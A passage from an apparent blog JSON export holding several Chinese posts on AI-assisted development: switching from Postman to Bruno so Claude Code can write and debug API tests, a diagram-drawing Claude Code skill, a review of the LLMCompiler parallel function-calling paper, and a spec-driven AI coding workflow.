自己读自己写自己跑自己验证。\n你可能会问，这个事换成 Postman 不行吗？\n我得先把话说清楚，Postman 不是没有 CLI。Newman 一直都在，Postman Collection 也是 JSON 文件，AI 理论上能读能写。这条路是通的。\n但你真去试一下就会发现，那条路上全是石头。\nPostman 的 Collection JSON 格式不是给人手写的。我做了个最朴素的对比，同一个 GET 请求加一条「状态码等于 200」的断言，写成 .bru 是 15 行，导出成 Postman Collection JSON 是 44 行。区别在哪？.bru 里 URL 就是一个字符串 https://api.example.com/users，Postman JSON 里 URL 被拆成 protocol、host 数组、path 数组三个字段。.bru 里测试代码就是普通 JS，Postman JSON 里测试代码以字符串数组的形式塞在 event 里，每一行 JS 都得加引号、转义、再 JSON 序列化一次。还有一堆 _postman_id、_exporter_id、schema 这种内部元数据，跟你的业务接口毫无关系，但你不写就报错。\n让 AI 写 .bru，它跟写 markdown 一样轻松。让 AI 写 Postman JSON，它更像在翻译一份配置文件，token 烧得多，出错概率高，写完你自己 review 都费劲，git diff 出来三行业务变更夹在二十行格式噪音里。\n所以不是 AI 不能写 Postman 的测试，是 Postman 的格式从一开始就没打算让人手写，更没打算让 AI 直接读写。它假设你有一个 GUI 在中间帮你管理这些内部细节。AI 进来之后，那个假设就有点尴尬了。\n我说的还不是最炸的场景。\n真正让我觉得 Bruno + AI 是 1 + 1 大于 10 的，是调试场景。\n我又试了一次，让 Claude Code 帮我加一个购物车接口的测试。它写完跑了一遍，挂了。\n错误信息是这样的。\n1✕ 购物车应该有 totalPrice 字段 expected undefined to be a number✕ 购物车应该有 products 数组 expected undefined to be an array 2 3```bash 4 5它猜错了字段名。这种事很正常，毕竟它没真的去看接口返回。但接下来才有意思。 6 7它没有问我、没有让我提供文档、也没有放弃。它自己执行了一条 curl 命令，把购物车接口的真实响应拉了下来。 8 9```bash 10curl -s https://dummyjson.com/carts/1 看到响应里字段是 total 和 products，不是 totalPrice 和 items。它马上把测试里的字段名改了，再跑一遍，全绿。\n整个调试过程，我做了什么？我什么也没做。我只是看着它一步一步跑完。\n这就是 Bruno + CLI + AI 的真正价值。你的 API 测试不再是一个孤立的、需要你手动维护的负担，而是变成了 AI 可以读、可以写、可以跑、可以调试的一种代码。\n它和你的源码、你的 Git 历史、你的 CI/CD、你的 AI agent，全都是一体的。\n写到这里我猜有人要拍桌子了。\n「等等，国内程序员谁还用 Postman 啊？Apifox 它不香吗？」\n发，我们专门聊聊 Apifox。\n我必须先承认它真的很强。一体化平台，API 文档、调试、Mock、自动化测试、团队协作全在一个工具里搞定，相当于 Postman + Swagger + JMeter 三合一。界面是中文，文档是中文，国内团队几乎零学习成本。如果你的团队 20 人以上，需要权限管理、需要实时协作、需要统一的 API 文档管理，Apifox 是比 Bruno 更合适的选择。这点我不否认。\n而且 Apifox 不傻，它也在跟上 AI 浪潮。它有 apifox-cli，能在终端里跑测试场景。它甚至专门做了 Apifox MCP Server，可以让 Cursor 和 Claude Desktop 读取 Apifox 项目里的 API 文档，帮你写代码。\n那问题来了，Bruno 和 Apifox 在 AI 这件事上到底有啥不一样？\n我读了一圈 Apifox 的官方文档，发现一个挺有意思的差别。\nApifox 接 AI 的方式，是让 AI 来连接 Apifox。Bruno 接 AI 的方式，是 Bruno 根本就是 AI 已经会读的格式。\n具体说，Apifox 的 AI 工作流是这样的，你的测试数据躺在 Apifox 云端项目里，你装一个 Apifox MCP Server，配置 Cursor 去连这个 MCP，AI 通过 MCP 协议向 Apifox 服务发请求，把 API 文档拿下来，再帮你生成代码。\nBruno 的 AI 工作流是这样的，你的测试就是项目目录里的 .bru 文件，AI 直接 cat、edit、bru run。完了。\n你看出区别了吗？Apifox 把 AI 当成一个外部工具来对接，所以需要 MCP 这一层中转。而 Bruno 根本不需要 MCP，因为它跟 AI 用的是同一种原生语言：文本文件加终端命令。\n还有一个更现实的差别。Apifox 的 MCP Server 现在的能力，是让 AI 读取 API 文档来生成代码，它并不能让 AI 直接去编辑你的测试用例。AI 在 Apifox 这边的角色基本上是只读的。\n而我前面演示的那两个场景，Claude Code 帮我写新测试、自动调试、修字段名，那是完整的读写跑改循环。AI 不光在读，还在写，还在跑，还在调试。这是因为 .bru 是普通文件，Edit 工具就能改，Bash 工具就能跑。它中间没有任何一层，所以也没有任何一层会卡住。\n这不是说 Apifox 不好，是两条不同的路。Apifox 选的是「我是平台，AI 来连我」，Bruno 选的是「我什么都不是，我就是文件」。前者适合企业级场景，后者适合代码即测试的开发者工作流。\n我自己是后者。我喜欢我所有的东西都能塞进 Git 仓库，喜欢 AI 直接读我硬盘上的文件，不喜欢任何账号、登录、云端中转。所以我选 Bruno。\n如果你的工作场景更接近企业级 SaaS 那一套，那 Apifox 完全没问题，甚至更合适。但如果你跟我一样，希望让 AI 一句话把接口测试搞定，那 Bruno 这条路确实更顺。\n聊完 Apifox 我们继续。顺便提一下 CI 集成，因为这块也很丝滑。Bruno CLI 支持输出 JUnit XML，GitHub Actions、GitLab CI、Jenkins 直接吃这个格式。我的工作流文件大概长这样。\n1- name: 安装 Bruno CLI run: npm install -g @usebruno/cli- name: 跑接口测试 run: bru run --env production --reporter-junit junit.xml 两步。你的 PR 一提交，所有接口测试自动跑一遍，挂了直接拒绝合并。\n生成的测试执行也挺好看的\n整套东西免费、开源、本地、Git 友好、AI 友好，不用登录、不用付钱、不用担心数据上云。\n安装很简单。桌面版，\n1brew install bruno 2 3```bash 4 5CLI， 6 7```bash 8npm i -g @usebruno/cli 用了一周之后我把 Postman 卸了。\n不是它不好，是我不再需要一个登录才能用、集合存在别人云上、免费版各种限制、AI 完全帮不上忙的接口测试工具了。\n我只需要一个文件夹、几个 .bru 文件、一条终端命令，和一个能读懂这一切的 AI。\n有时候工具的进步不是功能越加越多，而是把不该有的东西去掉。Bruno 去掉了登录、去掉了云端、去掉了 GUI 锁定，剩下的全是程序员真正需要的东西。\n而当你把这些不需要的东西去掉之后，你会发现一个意外的副作用，AI 进来了。\n好了就说这么多。\n如果你也受够了 Postman，试试 Bruno。说不定你也会像我一样，用完就回不去了。\nps:我写的 demo 在这里，你可以拉下来试一下，可以 run 的 ：https://github.com/xiaobox/bruno-demo\n","date":"2026-04-13T03:56:46Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-04-13-postman-yue-lai-yue-yong-zhong-le-wo-huan-le-ge-kai-yuan-de-/cover.jpg","permalink":"/p/2026-04-13-postman-yue-lai-yue-yong-zhong-le-wo-huan-le-ge-kai-yuan-de/","title":"Postman 越来越臃肿了，我换了个开源的，还能让 AI 帮我写测试"},{"content":"前两天在写一篇技术文章，写到一半需要配一张微服务架构图。我打开了某在线画图工具，对着空白画布发了十分钟的呆，拖了两个方块，连了一条线，觉得丑，删掉，再拖两个方块。\n半小时过去了，图还没画完，文章的灵感已经凉透了。\n我相信很多搞技术内容的朋友都有过这种体验。你脑子里其实很清楚这张图应该长什么样，但你就是得花一两个小时在画图工具里对齐、配色、调字号。明明内容才是核心，结果时间全花在了排版上。\n然后我发现了一个东西，彻底解决了这个问题。\n它叫 fireworks-tech-graph，是一个 Claude Code 的 skill。装上之后，你跟 Claude Code 说一句中文，它就能给你吐出一张出版级别的技术图。SVG 矢量源文件加 1920px 高清 PNG，直接能往文章里塞。\n我用它画了10张不同类型的图，从架构图到 ER 图到状态机，从白底极简到暗色霓虹到工程蓝图。每张图从下指令到拿到成品 PNG，平均不超过30秒。\n30秒。\n我之前在画图工具里对齐一个箭头的时间都不止30秒。\n怎么装呢，你甚至不需要记任何命令。\n打开 Claude Code，直接跟它说「帮我安装 fireworks-tech-graph 这个 skill」，它自己就把活干了。装完之后你说「画一个 xxx 图」，它就自动触发。\n如果你喜欢手动装也行，就一句 claude skills install fireworks-tech-graph，完事。\n触发词非常宽泛，「画图」「帮我画」「做个架构图」「生成一个流程图」「可视化一下」，随便怎么说都行，它都能识别。\n它能画什么？\n这个 skill 支持10种有模板的图表类型，外加4种无模板但有规则定义的类型。我挑几个最实用的说一下。\n1，架构图。这是用得最多的，画微服务分层、系统组件关系。你告诉它有哪些服务、怎么分层、哪些组件之间有调用关系，它自动帮你排好。我画的那张微服务架构图有5层，右侧还挂了一个观测性旁路，出来的效果跟正经架构文档里的图一模一样。\n2，流程图。CI/CD 流水线、审批流、业务决策流。菱形判断节点、圆角矩形处理步骤、失败回环，全都有。你只需要描述「从提交代码到部署生产」中间经过哪些步骤和判断就行。\n3，时序图。微服务之间谁先调谁，消息怎么传递。标准的 UML 时序图，有生命线、激活框、alt 分组框。你列出参与者和消息序列，它帮你排好。\n4，ER 图。数据库表之间的关系。支持鸦脚记法，PK 自动下划线，FK 标注。你把实体和属性列出来，告诉它哪些是一对多、哪些是多对多，它画出来的东西可以直接放进数据库设计文档。\n5，状态机。订单生命周期、工单状态流转这种。每个状态是一个圆角矩形，转换线上标事件名，有初始态的实心圆和终态的同心圆。\n6，对比矩阵。横评几个模型、几个方案的时候特别好使。我画了一张 LLM 模型对比表，5个模型7个维度，绿色打勾红色打叉，交替行填充，出来就是一张可以直接发朋友圈的表。\n7，时间线。项目路线图、版本规划。甘特图样式，彩色横条加菱形里程碑。\n除了这些，还有 Agent 架构图、用例图、数据流图。反正你在技术写作里能用到的图，它基本都覆盖了。\n比较骚的是它有7种视觉风格，每种味道完全不一样。\n默认的 Flat Icon 是白底彩色，适合博客和文档。Dark Terminal 是暗色霓虹风，发 GitHub 和技术社区特别帅。Blueprint 是工程蓝图风，深蓝色背景加网格线加角标，那种 CAD 图纸的感觉。Notion Clean 是极简白，一根线一个色。Glassmorphism 是毛玻璃卡片，适合产品官网和 Keynote。最近还加了 Claude Official 和 OpenAI Official 两种风格，分别是 Anthropic 和 OpenAI 的品牌调性。\n你指定风格的方式就是在 prompt 里加一句「用蓝图风」或者「Style 3」，就这么简单。\n我觉得这个 skill 最打动我的点，不是它画得多漂亮，而是它把「画图」这件事的心理门槛降到了零。以前我写文章需要配图的时候，经常会想「算了这里用文字描述一下也行吧」，因为打开画图工具、画完、导出、插入这一套流程太重了。现在不一样了，我在 Claude Code 里写着文章，写到需要配图的地方，直接说一句「帮我画一个 xxx」，30秒后图就在本地了。\n这种体验就像是，你本来在用文本编辑器写代码，突然有人给你装了一个实时预览插件。功能上没变，但那个「随时能看到效果」的即时反馈感，会让你更愿意去做这件事。\n画图也是一样。当成本足够低的时候，你会发现你开始「想画就画」了。\n想试的朋友，打开 Claude Code，说一句「帮我安装 fireworks-tech-graph」，等它装完，再说一句「画一个 xxx 图」。\n就这么简单。两句话的事。\n下面附一些 demo 图：\n","date":"2026-04-12T08:38:12Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-04-12-wo-yong-liang-ju-zhong-wen-rang-claude-code-bang-wo-hua-le-1/cover.jpg","permalink":"/p/2026-04-12-wo-yong-liang-ju-zhong-wen-rang-claude-code-bang-wo-hua-le-1/","title":"我用两句中文，让 Claude Code 帮我画了10张出版级技术图"},{"content":"事情是这样的。\n最近我几乎每天都在用Claude Code写东西。用得越多，我越产生一种奇怪的感觉。\n就是你给它下完一个任务之后，它开始一步一步地干活。先是啪，读了一个文件。然后哒，想了几秒。然后啪，又打开一个文件。再想几秒。再打开一个文件。就这么一直持续下去。\n你坐在椅子上看着进度条一格一格地亮起来，心里清楚得不能再清楚，这十个文件它明明可以一起读的，它们之间根本没有任何依赖关系。\n但它就是不。它就是要一个接一个地来。\n一时间无语凝噎。\n后来我跟几个同样重度用Agent的朋友聊了一下，他们也都有这个感受。说真的我始终觉得这是现在所有Agent产品共同的一个病，不管是 Claude Code、Cursor、Manus还是那些MCP插件，只要你让它干稍微复杂一点的活，你就会看到它在那里慢悠悠地一步一步走，像一个做事非常有耐心但完全不会一心二用的老实人。\n前两天跟朋友吐槽这事的时候，我又想起了两年前Berkeley那帮人写的一篇论文。论文叫LLMCompiler，2024年就发在ICML上了，现在回头看它也不算新东西。但每次我被Agent气到的时候都会想起它，觉得它的思路到今天都没过时，甚至越品越有味道。\n它当时就已经把这个病的根源讲得很清楚了，这个慢不是LLM的错，也不是任务复杂度的错，是我们给它用的那套调度系统，还停留在1960年代的水平。\n这篇论文的名字挺干的，叫**《An LLM Compiler for Parallel Function Calling》**，ICML 2024。作者是Sehoon Kim、Amir Gholami那帮人，都在Berkeley和LBNL。它不是今年的新论文，但在我心里一直是Agent方向上最被低估的几篇之一。\n它在做的事其实非常cool。\n它在把大学一年级《计算机组成原理》那本书里的东西，原样搬到LLM的世界里。\n坦率的讲，你想想看过去60年整个计算机体系结构的历史，其实就是一部「怎么让本来是串行的指令跑得更并行」的历史。指令流水线、乱序执行、超标量、分支预测，这些听着就头大的名词，说到底都是在干一件事，就是让CPU不要一条指令一条指令傻乎乎地等，能同时干的活就一起干。\n这套东西人类已经研究得非常透了。透到什么程度呢？透到你今天买一颗普通的i5芯片，它每个时钟周期能同时发射的指令数，大概是80年代那种整栋楼的超级计算机的水平。\n但是。\n当我们把LLM当成一种新型处理器去用的时候，这套智慧全忘了。\n现在几乎所有的Agent框架，底层都是一个叫ReAct的东西。它是Yao等人2022年提的，全称是Reason + Act。工作方式非常朴素，想一步，做一步，看结果，再想一步，再做一步，再看结果。它是一个循环。\n听着很自然对吧？它确实自然。但你仔细看就会发现，这玩意从执行效率上来说，跟那种每次只能执行一条指令、做完一条才开始下一条的远古处理器，是一样的。\n一次一条。干等。\n而且这个问题在越来越多的Agent场景里暴露得越来越厉害，因为我们现在给Agent的活越来越复杂，一次要调用的工具越来越多。ReAct的串行执行就成了一个越来越重的镣铐。\n回到LLMCompiler这块。\n作者的思路简单粗暴，既然Agent执行工具调用的过程跟CPU执行指令长得一样，那就直接套编译器的架构好了。他们搞了三个组件。\n第一个叫 Function Calling Planner，函数调用规划器。你可以把它想象成编译器里那个分析语义、构建依赖图的部分。用户给了一个问题，比如论文里举的那个例子，「微软的市值需要涨多少才能超过苹果？」，Planner要做的事情是先把这个问题拆成几个独立的任务，再搞清楚这些任务之间谁依赖谁。\n它会拆成三步。\n一，去查微软的市值。 二，去查苹果的市值。 三，用一个数学工具做减法，把差值算出来。\n然后它会发现一件事，任务1和任务2，彼此没有任何关系。它们完全可以同时去查。只有任务3需要等前两个都拿到结果。\n这就是一张 DAG，有向无环图，编译器里最核心的数据结构之一。\n第二个组件叫 Task Fetching Unit，任务获取单元。这个名字直接就是从CPU里偷来的。\n在现代CPU里有一个东西叫指令获取单元，它的任务是一旦前一条指令把某个寄存器的值算出来了，立刻把依赖这个寄存器的下一条指令发射出去，别等一整串指令都准备好再开搞，那样太慢。\nLLMCompiler的Task Fetching Unit做的事完全一样。Planner一吐出DAG，它就开始扫描，发现哪些任务的依赖已经解决了，立刻往下扔。任务1和任务2没有依赖？好，同时发射，两个搜索并行执行。任务3等着1和2的结果？好，等它们回来我再把结果塞进任务3里，然后发射。\n整个过程是流式的。Planner一边在吐计划，执行器一边在干活，中间没有「等Planner把所有计划全想完再开始」这种停顿。论文里专门做了个消融实验，流式处理本身就贡献了一个量级的加速。\n第三个组件叫 Executor，执行器。这个没啥好说的，它就是真正去调工具的那个家伙。Task Fetching Unit告诉它哪个工具可以调了，它就调。\n三个东西加起来，整个架构就跟一台小号的CPU一模一样。有人分析程序，有人调度，有人执行。\n说到这我真的有点被打动。你知道我为啥被打动吗？因为这个思路其实任何一个学过编译原理的本科生都能想到。它没有任何复杂的数学，没有什么神秘的训练技巧，就是把一个用了60年的老配方，拿来炒一道新菜。\n但它偏偏有效。而且效果好到离谱。\n顺着上面的再聊聊，这篇论文最让我兴奋的其实是实验结果部分。\n作者用了四个benchmark来测试LLMCompiler。这四个测试排起来有一个隐藏的升番结构，从最简单的场景到最复杂的场景，效果一个比一个炸。我逐个说一下。\n第一个叫HotpotQA。这是个很经典的多跳问答数据集，论文的Figure 1就举了一个例子，「斯科特·德瑞克森和埃德·伍德是不是同一个国籍？」这种问题。用ReAct的话就是一步一步来，先搜A，拿到结果，再搜B，拿到结果，再对比。用LLMCompiler的话，A和B可以同时搜。\n速度快了1.8倍。成本降了3.37倍。准确率基本一样。\n就这个结果拎出来看已经很能打了，但它只是开胃菜。\n第二个叫Movie Recommendation。这个更有意思，它每次要你从8部电影里找出跟某部电影最像的那部。也就是要对8部电影分别做独立的搜索和分析。\nReAct在这里干了一件特别傻的事。论文附录里有一张图我看完直接笑出声，它显示有大约85%的样本，ReAct根本没搜完8部就结束了。它搜到第五部就停下来，觉得「我好像够了」，然后给一个答案。\n你敢信？？？\n一个号称能干活的Agent，居然连把活干完都做不到。它会提前认输。\nLLMCompiler在这里就完全没这个问题，因为Planner一开始就把8个任务全部规划好了，Executor必须全部执行完才能汇总。结果是速度快了3.74倍，成本降了6.73倍，准确率还反超ReAct 7个多点。\n第三个叫Game of 24。这游戏你们可能玩过，给你4个数字让你用加减乘除搞出24。之前最强的解法叫Tree-of-Thoughts，让LLM自己去搜索各种可能的组合。LLMCompiler在这里做了一个很骚的事，它把「Tree-of-Thoughts的一次尝试」当成一个工具，然后让Planner去并行调度这些尝试。\n速度快了2倍。\n到这里我已经觉得够牛了。\n但是真正让我给整不会的是第四个benchmark，WebShop。这是一个模拟网上购物的环境，你要在一堆商品里找到符合某些需求的那一个。典型的操作是搜索→看结果→再搜索→再看结果。\nLLMCompiler在这里直接跑出了101.7倍的加速。\n不是10倍，不是50倍，是一百零一点七倍。\n而且成功率还比ReAct高了25.7个百分点。\n我第一次看到这个数字的时候真的愣住了。我来回看了好几遍论文的表格，生怕自己看错了小数点。101.7x。\n它的原因其实非常直观。WebShop里有大量「先广撒网再选最优」的搜索动作。LLMCompiler可以一口气把所有候选搜索并行发射出去，而ReAct得一个一个搜。你想想，如果你在淘宝上找一个东西，你是一次打开十几个标签页横向对比，还是一个一个点开再返回再点开？\n答案很明显。\n但前者需要你有一个「规划」的能力，得先知道哪十几个是值得看的。这恰好就是LLMCompiler在做的事。\n这块需要注意一下。LLMCompiler的意义不只是快，还有一个更深的点，它顺手救了准确率。\n这个我刚才提到了一嘴，但值得展开说说。作者分析了ReAct失败的案例之后发现，这些失败的绝大多数其实跟智力无关，跟纪律有关。\n两种典型的失败场景。一种是提前收工，它只搜了部分信息就觉得够了，开始瞎答。另一种更惨，是它会在同一个查询上无限循环，因为Wikipedia返回的信息不够精确，它就一直搜一直搜一直搜，直到context window爆掉。\n这两种失败加起来，贡献了ReAct绝大部分的失败样本。\n为啥会这样？我自己的理解是，ReAct是一种即兴架构。它没有全局视野，每一步都是基于上一步的观察临时决策的。这种即兴决策模式很像我们人脑，但它也天然带着人脑即兴决策的毛病，容易累、容易放弃、容易走进死胡同。\nLLMCompiler强迫模型在一开始就把所有要做的事列出来，这等于逼着它做一次系统性的规划。规划好了之后，执行阶段就只负责执行，不再思考。\n我觉得这里有一个非常深的启发。我们过去几年一直在迷信让LLM多想一步，搞出了Chain-of-Thought、Tree-of-Thoughts、Self-Reflection各种花活，都是在鼓励模型「思考得更细、更久、更多」。但其实有时候反过来，让它先想一次然后别再想了，反而更管用。\nCPU的设计哲学其实也是这样。现代CPU里最快的指令是那些不需要跳转、不需要预测、不需要动态决策的指令。凡是涉及到走一步看一步的指令，都会拖慢整条流水线。\n计算机硬件的人早就发现了，即兴决策是昂贵的。\n而这个老道理，现在又回到了AI Agent这边。\n坦率的讲，我觉得LLMCompiler这篇论文本身可能不是最大的新闻。真正的新闻是它揭示的那个更大的趋势。\n我们正在把整个计算机体系结构，重新发明一遍。\n你仔细想想这几年LLM推理和Agent方向上那些最亮眼的突破，几乎每一个都能在老教科书里找到原型。\nSpeculative decoding，是把CPU的分支预测搬到了LLM推理。 KV cache，是把CPU的cache机制搬到了LLM推理。 Continuous batching，是把操作系统的进程调度搬到了LLM推理。 现在LLMCompiler，是把编译器的指令调度搬到了LLM Agent。\n每一个都在发生。每一个都带来10倍甚至100倍的加速。每一个的核心创意都不是横空出世的神来之笔，而是一句「等等，这个问题我们在硬件/OS层面已经解决过了，直接拿来用就好」。\n卡帕西前阵子说过一句我记了很久的话，他说LLM是一种新的计算机，一种以自然语言为指令集的计算机。这句话如果你真的认真对待，那它的所有推论都是自洽的。既然它是一种新的计算机，那我们给旧计算机发明的所有优化技巧，理论上都应该能再用一次。\n我有时候会觉得，我们这一代做AI的人特别幸运。我们在亲眼看一部已经拍过一遍的电影，被用新的道具重新拍摄。剧本是一样的，角色是一样的，剧情走向都是一样的。但因为道具全换了，看起来就像一部全新的片子。而且你手里只要有一本原版的剧本，你就能提前知道下一幕会发生什么。\n回到这篇论文本身。\n我觉得它最重要的贡献其实不是那些benchmark数字，而是它开了一个非常清晰的方向。那就是Agent的慢不是不可解决的。\n你今天用Claude Code等十分钟，不是因为LLM笨，也不是因为你的任务太复杂。是因为底下那套调度系统还在用ReAct这种20世纪60年代级别的执行模式。只要换上哪怕一个粗糙的编译器思路，立刻就能快10倍、快100倍。\n其实这两年已经有不少框架在往这个方向走了，LangGraph、LlamaIndex都陆陆续续搞过类似的planner组件，多Agent框架里的并发调度也都能看到这套思路的影子。但奇怪的是，我们日常在用的那些最主流的Agent产品，Claude Code、Cursor这些，还是没有把这套东西吃得特别透。你还是经常能看到它们在那里一步一步串行地跑，跑得你抓狂。\n我始终觉得这是一件很可惜的事。一个两年前就该被充分吸收的好思路，到今天还只在部分框架里存在，绝大多数用户还是在吃ReAct的苦。\n其实之前OpenAI做过一个简化版，它叫Parallel Function Calling。但这篇论文里也明确对比了，OpenAI那个只能处理最简单的、完全独立的并行任务，一碰到有依赖关系的就歇菜了。LLMCompiler能处理有依赖的完整DAG，这是质变。而且论文在ParallelQA这个他们自己造的benchmark上，直接把OpenAI的并行函数调用给干穿了。\n还有一个让我很开心的点，LLMCompiler不依赖特定模型。它能跑在闭源的GPT系列上，也能跑在开源的LLaMA-2 70B上，效果都很好。这意味着你要用它，不需要求爷爷告奶奶去办一个特殊API，自己拿个开源模型搭一套就能跑。对整个开源生态是实实在在的利好。\n论文的代码早就开源在 https://github.com/SqueezeAILab/LLMCompiler ，这两年我零零散散跑过一些例子，整体感觉是它确实好使，但对Planner的prompt质量非常敏感，稍微写粗糙一点就容易崩。这大概也是为啥它没在主流产品里全面铺开的原因之一，论文里优雅的架构，落到工程上总会多出一堆脏活。\n最后说点题外话。\n我一直觉得AI这个行业最迷人的地方，就在于它需要你是一个杂食动物。你得懂一点机器学习，懂一点系统，懂一点产品，懂一点用户。因为AI正在跟所有领域发生化学反应，任何一个你以为已经过时的角落，都可能突然长出一个全新的方向。\nLLMCompiler这篇论文就是一个典型的例子。它既不需要你是最顶尖的ML研究员，也不需要你是最强的系统工程师。它需要你有一个能从「我的LLM Agent跑得好慢啊」跳到「诶等等，CPU当年也有这个问题，是怎么解决的来着？」的跨界联想能力。\n我始终觉得这种联想能力，比任何单一领域的深度都重要。\n很多朋友问我怎么跟上AI的发展。我有时候觉得，与其拼命去看最新的模型发布，不如回头去翻翻那些老的、经典的、看起来跟AI毫无关系的书。编译原理、操作系统、计算机网络、数据库系统、图形学。这些书里有太多你以为已经过时的东西，在LLM时代突然又活了过来。\n你读过的每一本旧书，都可能在未来某天变成一枚重新上膛的子弹。\n前提是你得先把枪挂在墙上。\n以上。\n","date":"2026-04-11T10:50:21Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-04-11-rang-agent-kuai-shang-100-bei-de-mi-mi-qi-shi-cang-zai-yi-be/cover.jpg","permalink":"/p/2026-04-11-rang-agent-kuai-shang-100-bei-de-mi-mi-qi-shi-cang-zai-yi-be/","title":"让Agent快上100倍的秘密，其实藏在一本大一计算机教科书里"},{"content":" 导读： 在 AI 辅助编程普及的今天，你的团队是怎么写代码的？是靠开发者随心所欲的“自然对话”，还是有严谨的工作流约束？ 本文将为你详细拆解“轻量 Harness 化 AI 研发工作流”的设计思路、工具选型与落地路径。无论你是独立开发者还是研发团队负责人，这套直接可抄作业的 Workflow 都不容错过。\n一、 AI 编程的“向左走向右走” 当前 AI 编程的实践，大致演化出了两条截然不同的路径：Vibe Coding 与 规范驱动开发 (SDD)。\n维度 🎨 Vibe Coding (直觉编程) 📐 规范驱动开发 (SDD) 核心理念 自由交互，强调开发者与 AI 的自然对话 规范先行，以 Spec 为唯一事实来源 适用场景 快速原型、概念验证、探索性开发 生产环境、复杂系统、高质量要求 侧重点 提示词 (Prompt) 工程的灵活性 规范的严谨性与完整性 ⚠️ Vibe Coding 的隐患：\n随着大模型能力的增强，Vibe Coding 搭配插件确实能快速出活。但在团队级实践中，它暴露出 4 个致命问题：\n1.效果不可控：不同模型、不同 Prompt 风格的产出质量参差不齐。\n2.幻觉难约束：缺乏结构化约束，强如顶尖模型也会“胡编乱造”。\n3.技术债隐蔽：表面跑通了，底层可能埋下了架构和质量的“雷”。\n4.协作难统一：个人习惯各异，大规模协作时极易失控。\n正是为了系统性解决这些痛点，SDD (Spec-Driven Development) 应运而生。\n二、 什么是 SDD？它为什么重要？ 💡 核心理念： 在 SDD 中，规范（而非代码）才是唯一的事实来源。开发者编写严谨的自然语言规范，由 AI 自动生成、测试并维护代码。 参考阅读：GitHub Spec-Driven Development\n采用 SDD，意味着研发范式的三大转变：\n○🔄 权力反转：过去是“需求文档服务于代码”（代码写完文档就废了）；现在是“代码服务于规范”（代码只是规范的衍生品）。\n○🛤️ 工作流重塑：修 Bug 或加功能，不再直接改代码，而是先更新规范，再让 AI 重新生成代码。\n○🛡️ 两道防线约束质量：\n▫模板约束：强制 AI 聚焦业务逻辑。遇到模糊需求必须提问（[需要澄清]），杜绝瞎猜。\n▫架构宪法：设定硬规则（如：必须先写测试并确认失败，才能写业务代码；强制模块化等）。\n🎯 终极价值：消除需求与实现之间的鸿沟，让程序员从“敲代码的打工人”进化为“定义系统意图的架构师”。\n三、 击中痛点：告别“实现漂移” 主流 AI 工作流为何纷纷拥抱 SDD？因为它解决了一个核心顽疾——实现漂移 (Implementation Drift)。\n在随意的 Vibe Coding 中，代码层的知识无法被提取和固化。AI Agent 就像一个失忆的工人，缺乏上层显性知识和关键上下文，导致：\n○效率低下：每次开发都要让 AI 重新从底层啃代码，无法高层建瓴。\n○知识断层：编程规范、技术约束无法沉淀。\n○协作困难 \u0026amp; 质量崩塌：Bug 和技术债越滚越大。\n四、 主流 SDD 工作流大比拼 社区中已涌现出众多优秀的 SDD 实践方案，我们进行了深度体验对比：\n工作流 定位与特色 GitHub 仓库 实践痛点 Spec-Kit 官方工具链，全链路 (constitution/spec/plan/tasks/implement) 完整 github/spec-kit 流程重、Token 消耗大、耗时长、维护成本高 OpenSpec 轻量级 SDD 实现，更灵活 Fission-AI/OpenSpec 需人为设计流程，上手门槛较高 GSD 强调 fresh context 和 map-codebase 的分阶段框架 gsd-build/get-shit-done 棕地项目知识总结极佳，但完整流程耗时长 superpowers Skills 驱动，强调 brainstorming, TDD 和 review obra/superpowers 亮点突出，但整体流程中部分步骤相对薄弱 compound engineering 闭环流程 (Brainstorm→Plan→Work→Review→Compound) EveryInc/compound-engineering-plugin 流程合理，但对棕地项目的存量知识沉淀不足 结论： 在生产环境中，我们需要平衡开发效率、代码质量和 Token 成本。目前没有任何单一工作流能完美兼顾，强行绑定只会让开发体验打折。\n五、 破局策略：组合最优解（缝合怪战术） 基于上述痛点，我们的落地策略是：取各家之长，组合使用。\n○阶段一（当下）：做“缝合怪”。串联 GSD + compound engineering + superpowers 的最佳环节，先跑通验证。\n○阶段二（未来）：逐步过渡到自研工作流，形成完全契合团队基因的 AI 编程链路。\n🛠️ 工具选用原则与雷达图：\n流程环节 选用工具 选用理由（最佳平衡点） 🔍 Codebase 分析 GSD /gsd:map-codebase 对棕地项目（遗留系统）分析最全面完整 🧠 Brainstorm CE /ce:brainstorm 探索速度与效果的最优平衡 📝 Plan CE /ce:plan 兼具效率和生成质量，Token 消耗合理 💻 Work Claude Code / Codex 无需特殊指令，明确方案下 AI Agent 自主能力已足够 👀 Review superpowers (自然语言) 综合表现最佳：不慢、不冗长、反馈极具价值 📈 Compound GSD /gsd:map-codebase 支持增量更新，自动识别并沉淀项目变化 (注：CE 为 compound engineering 的简称)\n六、 终极实战：六步法完整工作流 综合打磨后，我们得出了这套黄金六步法。它与 Compound Engineering 的流程高度重合（因其设计合理），但我们补齐了 Codebase 环节，并替换了部分步骤的具体实现。\n👣 Step 1: Codebase (建立项目认知) ○执行方式：运行 GSD 的 /gsd:map-codebase。\n○作用：并行拉起多个代理，全面提取架构文档、规范、外部集成、技术栈、风险点。为后续开发提供关键上下文。\n👣 Step 2: Brainstorm / Research (技术方案探索) ○执行方式：运行 /ce:brainstorm。\n○作用：结合项目现状探索可行性方案，效率与效果极佳。\n👣 Step 3: Plan (制定开发计划) ○执行方式：运行 /ce:plan。\n○作用：总结探索成果，输出高质低耗的开发计划。\n👣 Step 4: Work (执行开发) ○执行方式：直接对话使用 Claude Code 或 Codex。\n○作用：为什么不加约束？因为前置方案已明确，放开手脚让 AI 自主调用工具和子代理，反而能最大化效率。\n👣 Step 5: Review (代码审查) ○执行方式：通过自然语言触发 superpowers，例如：\n\u0026ldquo;用 superpowers 对最新的一次 commit 进行 code review\u0026rdquo;\n○作用：提供速度适中、精炼且极具价值的代码质量反馈。\n👣 Step 6: Compound (知识复利) ○执行方式：再次运行 /gsd:map-codebase。\n○作用：沉淀显性知识（业务逻辑、技术决策等）。支持增量识别，无需每次代码变更都执行。建议执行时机：Feature 完成时、做出重要技术决策时、架构显著变化时。\n七、 灵活适配：按场景“裁剪”流程 全套流程虽好，但没必要杀鸡用牛刀。团队可根据任务粒度自由裁剪：\n○🚀 完整 Feature 开发 (工作量大)：Codebase → Brainstorm → Plan → Work → Review → Compound\n○🏃 中等粒度任务 (方案清晰)：Codebase → Work → Review → Compound\n○🔧 小型修复/调整 (日常 Bug)：Codebase → Work → 